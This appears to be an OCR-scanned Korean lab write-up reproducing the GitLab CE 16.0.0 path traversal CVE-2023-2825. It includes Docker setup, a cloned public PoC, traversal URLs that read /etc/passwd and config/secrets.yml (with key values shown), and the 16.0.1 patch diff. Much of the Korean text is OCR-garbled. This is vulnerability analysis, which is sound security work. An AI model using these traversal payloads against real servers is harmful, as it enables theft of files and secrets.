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B o H2E
Step 1. &4 +4

1 msfzt PC of docker hub o4 Z]¢¥st= GitLab CE oln|x] &, FHHo] EAst= Gitlab
16.0.0 BA Q] AuHES =3},

$ docker run -d -p 80:80 gitlab/gitlab-ce:16.0.0-ce.0
CEIGE -d 3M: detach ZEZ MR EZ docker & A¥AI7 = M
-p &M: local ZEQ} docker M MY ZEE X|Fdte S

root@ubuntu: /home/eqst# docker run -d -p 80:80 gitlab/gitlab-ce:16.0.0-ce.0
Unable to find image 'gitlab/gitlab-ce:16.0.0-ce.0' Llocally
16.0.0-ce.0: Pulling from gitlab/gitlab-ce
1bc677758ad7: Pull complete
633fcf47bc79: Pull complete
472c1acOc258: Pull complete
5b665b492973: Pull complete
0bd8b5a23fe7: Pull complete
b385dd2cb2ca: Pull complete
38ac4d68d24c: Pull complete
e4588a97b783: Pull complete
Digest: sha256:ab%0cdb096c4f81247088357b0e051f5b8a999284b2186¢cbdiblec1ad4lcca7e8
Status: Downloaded newer image for gitlab/gitlab-ce:16.0.0-ce.0
3e524103ef6858b7825c530db4cefd2dd3cieb5f1e36776ef413574655d61784
19 3. docker & % &3 1=

2) Gitlab RE A3 WAYSES A 915 Aelolvie] Hulde G ofefe] Paiol
A,

il

AHol B2 A : $ docker exec -it [container @ EE= container ID] /bin/bash
EEO
MAYE B HHOY : # gitlab-rake "gitlab:password:reset[root]"

root@ubuntu: ps

CONTAINER ID IMAGE COMMAND CREATED
STATUS PORTS

NAMES

3e524103ef68 gitlab/gitlab-ce:16.0.0-ce.0 "/assets/wrapper" 4 minutes ago
Up 4 minutes (healthy) 22/tcp, 443/tcp, 0.0.0.0:80->80/tcp, :::80->80/tcp

distracted_heyrovsky
root@ubuntu: /home/eqst# docker exec -1t 3e524103ef68 /bin/bash
root@3e524103ef68: /# gitlab-rake "gitlab:password:reset[root]" EECIERCP RIS

el M2 3-89

o

Enter password:
Confirm password:
Password successfully updated for user with username root.

19 4. GitLab 2E AR A= AQ4A
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3) FFd HAEE {5l PoC 7t AH git oS F42k] PC 2 EAFRITH
PoC 7} A= GitHub URL & &1} Zrt,

— URL: https://github.com/Occamsec/CVE-2023-2825.git

$ git clone https://github.com/Occamsec/CVE-2023-2825.git

/home/kali
clone https://github.com/Occamsec/CVE-2023-2
Cloning 1nto "CVE-2023-2825
remote: Enumerating objects: 36, done.

remote: Counting objects: 100% (36/36), done.

remote: Compressing objects: 100% (33/33), done.

remote: Total 36 (delta 11), reused 3 (delta @), pack-reused 0
Receiving objects: 100% (36/36), 13.60 KiB | 2.72 MiB/s, done.
Resolving deltas: 100% (11/11), done.

% 5.PoC A 2 = &4l

S

% root ARE BL olfE PoC HAES 9% ZRAE A4S oz, A4 Hokdr A% Anrt
(o]

= *%%%7}7;z%¥7ﬁﬁﬁ DZeAES o= AT &+ Qo
/home/kali/CVE-2023-2825
DISCLAIMER.txt poc.py README.md
requests

random
string

urllib.parse urlparse
bs4 BeautifulSoup

ENDPOINT

USERNAME HS| At A Ye Qe

PASSWORD

" 6. WAk e FR ¥
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5) PoC 7} &&Fell mlafiz} AH] Q] Jetc/passwd TS RIS 4= it

Jhome/kali/CVE-2023-2825

poc.py
[*] Attempting to Lagin."
[#*] Login successful as user "root®
Ed ting 11 c:aup; wlTh prefix EQST
[*] group
[*] group
[*] group
[*] group
[*] group
[*] group
[*] group
[*] group ]
Ed group 'EQST-9°
[*] group 'EQST-18°

group 'EQST-11'
[*] public repo 5 2 ] y
ST-8/EQST- 9_.-"EQE-T—1£J,’ED’-T 1 "—2‘. lfllﬂli':
[#1 Unloaded file ° lm1-1=|r:|" f6h; 7

i Ap1olr

" I

root:/bin/bash
:/usr/sbin:/usr/sbin/noleogin
r/sbin/ no1 i

5".r'|: H 30 ;...

games:x:5:¢ ;amef:_uzr_”

d97. Fkdez 9t A9 wd kE
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Step 1) FoFd 718

CVE-2023-2825 HoPde ATHA o2 A7 570 Fofe #A] Gitlab ZRAHE E=
Snippet? 5 FRutde] HI® ¢ Ffgol FARIH. Gitlab AHe 8792 URL F=
updo] EAEHA ke 7, puma’ R HL ofF TIFste] Azttt o|F, Gitlab AM=
a2 URL oA sl ob2th. SHAIRH RS AARSHE 2A o] FEfEef 9lo] FHefHol

Ayt

od,
o
Ak

path: :uploads do

tem f:mounted as/:id/:filename”,

A

_,4
£

AZ7} Szl 2ol HRud Yol Path Traversal & QlZYste] ALsHH, AHoA+=
o ]

% }— % [e] fe
goto] AZlE AN mdwe sidsty] wiEel Fefdel ARt wEhd 1EY
A4 %20, “B2e%2e%20E 01§ 9] Helelo] ZAste shade] ¥

Mo . ofd

http://GitLab.com/Group/Project/..%2ftext.txt e ..%2ftext.txt
http://GitLab.com/Group/Project/../text.txt =- ../text.txt
< ! ! = == o = -
GitLab Puma WAS
Nginx

a49. 924 si4 19

2 Snippet 0|2t AF ALEEE TEY 2 AgAel F4elr] 9 IE, HAE 5

fle

75tz 91%t sjolA| ot

3 puma & WAS(Web Application Server)2] §+ FF& Ruby $-8 T2 13- 9t AWt} GitLab 2] Rails(Ruby 2] Web framework 2]
4F) S8 T2I:E HPstr] S8 AHgHh
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Fords olsfstrl flsiAe= Gidlab 9] HRnd @@ A x5 dofop dnh. 59
ZRAEES s, Snipper & BET WEe YRE Fmot B ﬂ?—'“ﬂﬂ BRI} A= ]
A off 9] A AR e ARE Pa w, AWl A== Rl

¥=c mo H2 Z2HYE WY ClYE?2 2

/var/opt/gitlab/gitlab-rails/uploads/@hashed/[aa]/[bb]/[hash]/[hash]/[file]

a9 10. AFHE 3=

SHAIRE, th2RE @73 URL ZA=ol| EAshA] g2 HF oY o2t 273 A, Gitlab & puma
A E B3 offe] 45T FAtA S AETct

YzCc oy A2 o2HE HEOU C3Ez| 42

/var/opt/gitlab/gitlab-rails/uploads/@hashed/[aal/[bb]/[hash]/[hash]/[file]

sge Y3 Az
/opt/gitlab/embedded/service/gitlab-rails/public/uploads/@hashed/[aa]/[bb]/[hash]/[hash]/[file]

J9 11 AE9 93 gEEe] 3=

root@d3f1ebb81b78: fopt/gitlab/embedded/service/gitlab-rails/public# 1s -al
total 72

Lrwxrwxrwx 1 root root 36 Jul 5 00:38 ->
root@d3f1ebb81b78: fopt/gitlab/embedded/service/gitlab-rails/public#

I8 12. A HEY P32 B=

Gitlab © A¥mel Q2= A A4EE Te2E 274 URL 748 e 20, zadEds
THE of% 159 A U g Frrdor AAdd.

GitLab F2/[Group]/[5t?] 11 &1/Project/uploads/[hash]/file

GitLab F2/[Group]/[5t?] A E11[5t2] 18 2]...[5F9] 21 & NI/Project/uploads/[hash]/file

¥ 13, o2t H2 93 URL 74

tgBe YA 54 fdolt qed e F2E TS FUZ, Windows 2IAAY BH2 b1t 2o J)5e @,
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5k9] IFol shuet EAske =X 9% URL 9 A$E ool Ifat o] WebRoot
7FestH, A& ®39 uploads HEHEHZRARE o]0l

delgeel 5 A ARG olFol
Filename:/../..0..[..1../

Ths ot
/——_ \
GitLab F2-/[Group])/[6t%] 1 &]/Project/uploads/[hash]/file
\

Filename: /../../.0..0../

C2E2E 28 URL

S ELEE-E!
4 FE dHER o]F

/opt/gitlab/embedded/service/gitlab-rails/public /uploads/@hashed/[aa]l/[bb]/[hash]/[hash]/file

a9 14

=
K3

SHA U, Oe2E 9% URL & ZFH=
= 11Ho

stel 29 A4 SuE daddel At AN,
|52, WebRoot tlelele] Rt 4] cleleezia ol

HEg Pao dode A%
7hssit.
Filename:/../../../..[../+n

GitLab F2/[Group]/[6t?] 21 E11[6H%] 2§ 2]...[6F] 1 EN]/Project/uploads/[hash]/file

Filename:/../../../.././+n

SELRE!

a9 15. 49 "8z oF

ERE]
/opt/gitlab/embedded/service/gitlab-rails/public /uploads/@hashed/[aa]/[bb]/[hash]/[hash]/file
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AuZh ARt BeEE a4 AHEe o, Fxshs 42y P29 NS =4S J9e

ofefo 2t

)
/opt B B

L— /gitlab
- /embedded

l—fserwce @
L /gitlab-rails B

L— /public
L—/uploads B
- /@hashed

I =
I_
IBIE /6b 4b

|—/5934. 023e

EQST.txt

a9 16. HEY F29 AA] =45}
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A4S S8 Foret ®He] Gitlab o IF(EQSTLab)g AAsty 37
gt
X FFde B4 S84 @A A2E E¥ste printoxt WA-g ZHzhe] dE ] B4R

EQSTLab » Insight

| Insight®

L N~ Y7 Star | 0 % Fork | O
Project ID: 1 [g

-o-1Commit ¥ 1Branch ¢’ 0 Tags [ 0Bytes Project Storage

45 Initial commit cal22709 | &
*  Administrator authored 1 minute ago

main v insight / | + ~

Find file Web IDE & v

a9 17. A

o
)

Z2AE A4 olF, AFTYL ogsh] A g Zadsd T e AL 5 gk
T2 issue & ATl FRAFA(EQST.x)e YREGTE

Title (required)

| whblithe

Type @

Issue ~

Description

B I § 1= < &

== "3 B @

Preview .7

Ins ighq[ EQST.txt] (/uploads/59843abfclSelfbe33fhe7h8h126028e/EQST. txt JI

J9 18 F5ud 55

EQST insight | 11



ofefe] Azg Fol APTYEQST.x)E TR T,

= http://192.168.100.162/eqstlab/insight/uploads/59843abfc15e1fbe33fbe7b8b126028e/EQST. txt

c http://192.168.100.162/egstlab/insight/uploads/59843abfc15e 1fbe33fhe7bab1 2602 8/E0ST txt ) » L 4
arch GitLab E EQsTix I
7B« 2E
EQSTLab » Insight
@ open [ 1ssu= created 1 day ago by - Edit Close issue :

whblithe

Insight|E

a9 19. 5Y theRE

CVE-2023-2825  FoFd&  o&shr]  $side ZJA &85 olgsl, o4
HZ25ho] /S EAEE URL Q179 & “ %2fprint.txt” EE “%2e%2e%2print.txt” o] 2
mafz Aol Agstd F9 Azol =2 4 ik

ZEA F2 o8] A9 B= FA A2E E9oh= printixt o §H @2 w=3 E

A = B
Requestcase 1) "/ 13T > _%2fprint.txt Response a
Prett Raw  Hex \n Prett, Raw  Hex Rende \n =

1 GET 1 HTTP/1.1 200 0K

Jfeqstlab/insight/uploads/59343abfc15e1 fbe33fbe7bSb126023e/ . %21 2 Server: nginx

print. txt HTTP/1.1 2 Date: Wed, 05 Jul 2023 04:30:37 GNT

2 Host: 192.163.100.162 Content-Type: application/octet-stream

2 Content-Length: 22 Content-Length: 143

4 GNconnection: keep-alive

5 Connection: close 7 Rgcept-Ranges: bytes

B 5 Cadge-Control: max-age=0, private, must-revalidate
d t-Disposition: attachment:. filename="_ %2Fprint. txt':

er=UTF-8''. %2Fprint. txt

ecurity-Policy

ansfer-Encoding: binary

Requestcase 2) "../” olad -» %Ze%Ze%prrmttxt 12 Last-Modithed: Wed, 05 Jul 2023 04:06:15 GNT
. \n 15 Permissions-Rolicy: interest-cohort=()

rett Raw Hex = |14 X-Content-TypegOptions: nosniff
| GET 15 X-Download-Opti © noopen

/eqstlab/insight/uploads/59343abfc15e1 fhe33fbe7b3b126025e/%2e%2 X=Frame-Options: QANEORIGIN
eN2fprint. txt HTTP/1.1 N7 X-Gitlab-Neta:

2 HEET TOZ TBS TOU 162 .correlation_id":"
9 Content-Length: 22 18 X=
4 19
5 Connection: close 20 ¥-Runtime:
21 ¥=Ua-Compatible
22 X-Xss-Protection: TO
23 Strict-Transpor t-Secur |
24 Referrer-Policy: strict-ori
25

26} This dic is
fopt/gitlab/embedded/service/gitlab-rails/public/uploads/@hashe
d/6b/36/6b36b2731f34fce19d6b304ef f5a3f5747adadean221d49c01e52d
db7375b4b

S
=

u o

-J

H4J521DG521E6YSNTKIRFXCF®  *version':'1"}
in-Policies: none
21EBVSN7KTRFXCF

maX-age=63072000
WK hen-cross-origin

a9 20. 49 BER olF ¥ od FH =9
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o
oElﬂ'

sfet, 491 5 A9 HeEe
sh9l 18 WEA g mEAE Aol uEe,

o]z wf 400 Bad Request o1&
ttez= Q@3 URL o=

/eqstlab/1ns1ght/uploads/59843abfc1561fb633fbe7b8b1260286/ 4 7§e] deE et ZoEE o Qi

WakA, WebRoot T E|2] Bk A9 degael 57 teEe) ol5e 2ol

Request Response m =l .
Raw Hex \n = Pretty Raw Hex Render = BRU—

| _GET 1[HTTP/1.1 400 Bad Request|

Jeqstlab/insight/uploads/59543abfc15e1 fhe33 fhe7bSh126023e/ . %2f
Cohef. mef. wmef. %2fprint.txt HTTP/1 1

2 Host™ TOZ.T65.T00.T62

3 Content-Length: 21

4

5 Connection: close

2 Server! nginx

3 Date: Thu, 06 Jul 2023 07:25:46 GNT
4 Content-Type: text/html

5 Content-Length: 150

G Connection: close

7

a9 21. o8 wHs

ofg) 13

s ‘i‘lﬁ’&‘é © S ARt 9ol

© WebRoot T#EE Ht} Are] gl 5 79 ARE ol%

A1, 400 Bad Request

./

CI22E 8% URL:

f -/ - -f

http://192.168.100.162/eqstlab/insight/uploads/[hash]/EQST.txt
/..%21..%21..%2f..%2f..%2f..%2f

D&

L— /gitlab
L Jembedded
L /service . o|s E7t
/gitlab-rails
— /public .
L /uploads B
- /@hashed
7 s
86
/ L /6b86..5b4b
L— /5934..023e
EQST.txt
19 22. o5 E7F =43
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CVE-2023-2825 P2 &8sl WebRoot HHEZ Hutt 49 dlE]o] HIs7] fsiMe
FTHE ot 282 FUtele], 2L 23 URL o] x3td ddee »& sajof gt

wald,  WebRoot Ht} A9 dgale] A Fa AR F shtol
/opt/gitlab/embedded/service/gitlab—rails/config/secrets.yml o Hal7] HsiA= 712 4 719
dee e 3 /|5 F7kste] F 7 719 A9l dEE=R olFsor gttt wEtA FHE oM IE
3NE F7F8ll CVE-2023-2825 k- ohg3tt

root@d3flebb81b78: fopt/gitlab/embedded/service/gitlab-rails# 1ls -al confia/ | arep secrets.yml

Lrwxrwxrwx 1 root root 44 Jul 5 00:38 -> [varj/opt/gitlab/gitlab-rails/etc/
-rw-r--r-- 1 root root 484 May 18 18:82 .example

a9 23. AW el /config/secrets.yml FZ

7709 Ab9] DEE R dae gld 3700 FHE 59 18 A4S 1 okeet 2t
GrOupS Explore groups

‘ Last created v

© % E EQSTLab @ ower | 1B %1 Q1 881
~ 2 E  eqstl @& Owner %1 1 f81

v 2 E eqst2 @ | Owner e Se1 1 881

» % E  eqst3 @ | Ownel % D1 B+

1% 24. 59 1F B4
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oteff €2 FHE ot IF 3 7BE F7tote], WebRoot HHEl2] Bt A9 dalH < gitlab-
rails ol &A|ol= /config/secrets.yml TP Hot= A& A8 Tdoltt

http://192.168.100.162/eqstlab/eqst1/eqst2/eqst3/whblithe2/uploads/c162794e0f

CIE2E : 8
225 273 URL abdba63a666310137e6e95/..%21..%21..%2f..%2f..%2f..%2f..%2fconfig % 2fsecrets.yml|

/opt B
L— /gitlab E -/
L Jembedded

/service

L /gitlab-rails .
/public B
I—/uploads .

- /@hashed B B

— /6b

— /config
4 /6b86..5b4b
L— /5934..023e

EQST.txt

9 25. /config/secrets.yml T &S}

oA L S FHE ok 15 ABAET F /config/secrets.yml FEE EEotE Ho|RE+

ofefst 2.
CO=»=

Request Response
Pretty Raw Hex \n = Pretty Raw Hex Rende \n =
1| GET 31| production:
Jeqstlab/eqst1/eqst2/eqst3/whblithe2/uploads/c162794e0fabdbala 32| db_key_base:
666310137695/ . %h2f. %2f. %2f. %2f. . %n2f. %2f. %2fconfigh2fsecr SccTd?400eaal eec5375beb4b48 f45659a3 f12ebads f277bch59e913357a22
ets.yml HTTP/1.1 3b4d05c2a3169e410b5925ebdScaf70238d704bead2ci166cEbed] 0205ea2d
2 Host: 192.163.100.162 Tedl
3 Content-Length: 22 33l  secret_key_base:
4 6137dae2d3dd3caaet055167400ac3c36d36330112001026a2eae79 169636
5 Connection: close f4424abbed11a37374abb14f fb323701921 f62e503574e58d91alaaSe7dc80
6 2660
7 34|  otp_key_base:

0e153400b35d35c44abaifbes9leaa2355e2732d25211730749b9e T4bE16 137
650975563966 16e3d53612b096bd355636102a91630359b7d303beab71535
8829

a5 encrypted_settings_key_base:
b13dad70939219fbf0chf731d23592b3c5b1ch@4cSeSch6eb65a169b662ebds
34be7a431a0d3ee5a070ae3f5f0b3d357aa571954b7a076d5e150c6c193chs
d425

36 openid_connect_signing_key: |

. - BEGIN RSA PRIVATE KEY-——-—-

a8

a9 26. &9 d&AH2 9] /config/secrets.yml T HL
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uebA, 249 FE dHAERE JIo] e F 12 1Y A9 dHFER o] FaoF stRE,
1 7 283 8 79 319 18 ZRAE HRnd ARE A /etc/passwd 7HA HLo]
deasiise

http://192.168.100.162/eqgstlab/eqst1/eqst2/eqst3/eqstd/eqst5/eqst6/eqst7/eqst8
Ch22E 8% URL: /whblithe4/uploads/8e1390ac4f703ebaf612d8779d0cf027/..%2f..%21..%2f..%2f..%2

f..%2f..%21..%2f..%2f..%21..%2f.. % 2fetc%2fpasswd
= ropt B .

L— /gitlab
. L /embedded B

Ject /service
4 /gitlab-rails B
4 — /public B
SECRET, L—/uploads .
passwd - /@hashed B B
A==
|—/6b86 .5b4b
L— /5934i.023e
EQST.txt

a9 27. RE g JAZ

ol AL Ez o] Ato =3 HAro] B o =35
X R Bl 12 7 o dEYZ o]Fs Jo] FE fdE o]-&dl /etc/passwd
iEﬂ-‘—]_ %1/]- q_o T HFS 2~ 011:]-
=Hor/ w2 Ue g U
= =
Request Response m
Pretty Raw  Hex L — Pretf) Raw  Hex Rende! = \n =
1§ GET 16 X-Frame-Options: SAMEORIGIN
http://192 165 100 162/eqstlab/eqstl/eqst2/eqst3feqstdfeqsts/eqst/eqstT 17 ¥-Gitlab-Meta:
feqst3/whblithed/uploads/3e1390ac4f703ebaf6l12ds779d0cf027/. %2f. %w2f. %2 {'correlation_id" ' 01H4ZPBKKZAXGHODEZKFHRX26X" , "versio
foo%m2f. %ef. %af. %2f. %2f. %21 %2f. %2f. %2fetck2fpasswd HTTP/1.1 ntt
T Hest— + + + 14 X-Permitted-Cross-Domain-Policies: none
3 Content-Length: 21 19 X-Request-1d: 01H4ZPBKKZAXGHODEZKFHRX26X
20 ¥-Runtime: 0.107442
5 Connection: close 21 ¥-Ua-Compatible: IE=edge
& 22 ¥-Mss-Protection: 1; mode=block
7 23 Strict-Transport-Security: max-age=63072000
24 Referrer-Policy: strict-origin-when-cross-origin
25

2F root:x:0:0:root:/root:/bin/bash

27 daemen:x:1:1:daemon:/usr/sbin:fusr/sbin/nolegin
29 bintx:2:2:bin:/bin:fusr/sbin/nolegin

29 sys:x:3:3:sys:/dev:fusr/sbin/nologin

30 syncix:4:65834:sync:/bin:/bin/sync

21 games:x:5:60:games: fusr/games: fusr/sbin/nologin
32 man:x:6:12:man:/varfcache/man: fusr/sbin/nologin
33 Ip:x:7:7i0p:fvarfspool/Ipd:fusr/sbin/nologin

1% 28. root ET] 9] Jetc/passwd Tt FH FE

URL F40f 9&8sH /etc/passwd T+

fwhblithe3/uploads/fbS1dad205fcecbdasaz

9 29. /etc/passwd T ThEE
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m oS o

O -

Zokt wAe] Gitlab A¥WE 29 Folebd, A7 DRAE isue & AU &7
Snippet o HEIHAL S2slo] HFHL 8T £ Sl olo] e ANAE HHA] E?
1

ral

3
_%
Zldro 72 tjA st Bt o] ‘Path Traversal WjEl’ Q1 x] AASH= 22o] 715 Gitlab 16.0.1 o]A

ol

?(Gitlab: :HashedPath
‘Invalid path®

"Potential path traversal attempt detected", path:
AttackError, ‘Invalid path'

19 30. AH4 EHE 53t Path Traversal €4

16.0.1 o4 HHe ARTE Foote BEO|A check path traversal Z o] F7}E]o] Path
Traversal o] &2 749 bad reqeust & §¥réolal A2 &1 4 Q.
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app/controllers/concerns/uploads_actions.rb [f +6 -0 @ View file @2ddbf546

included do 18 included do

prepend_before_action 11 prepend_before_action
:set_reguest_format_from_path_extension :set_reguest_format_from_path_extension
rescue_from FileUploader::InvalidSecret, 12 rescue_from Filelploader::InvalidSecret,
with: :render_404 with: :render_404
13
14 |+ rescue_from
::Gitlab::Utils: :PathTraversalAttackError do
15 |+ head :bad_request
16 §+ end
end 17 end
18
def create 19 def create
# or redirect to its URL 37 # or redirect to its URL
# 38 f
def show 39 def show
40 )+ Gitlab::Utils.check_path_traversal
(params[:filename])
41
return render_404 unless uploader&.exists? 42 return render_4084 unless uploader&.exists?
43
ttl, directives = *cache_settings &4 ttl, directives = *cache_settings

3931 AA =4 57

27eA] HA Ao} olele A¢ PR madss ugdseAY, 9 PeEe olgs
M At Aol Wastch s ok FHokHe
270] 2718 16.0.01 o4 MAoR JeolE sl AL DA,
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« URL: https://labs.watchtowr.com/gitlab—arbitrary—file-read—gitlab—cve—2023-2825-analysis/
« URL: https://github.com/Occamsec/CVE-2023-2825.git

« URL: https://about.gitlab.com/releases/2023/05/23/critical —security —release—gitlab—16—0-1-released/
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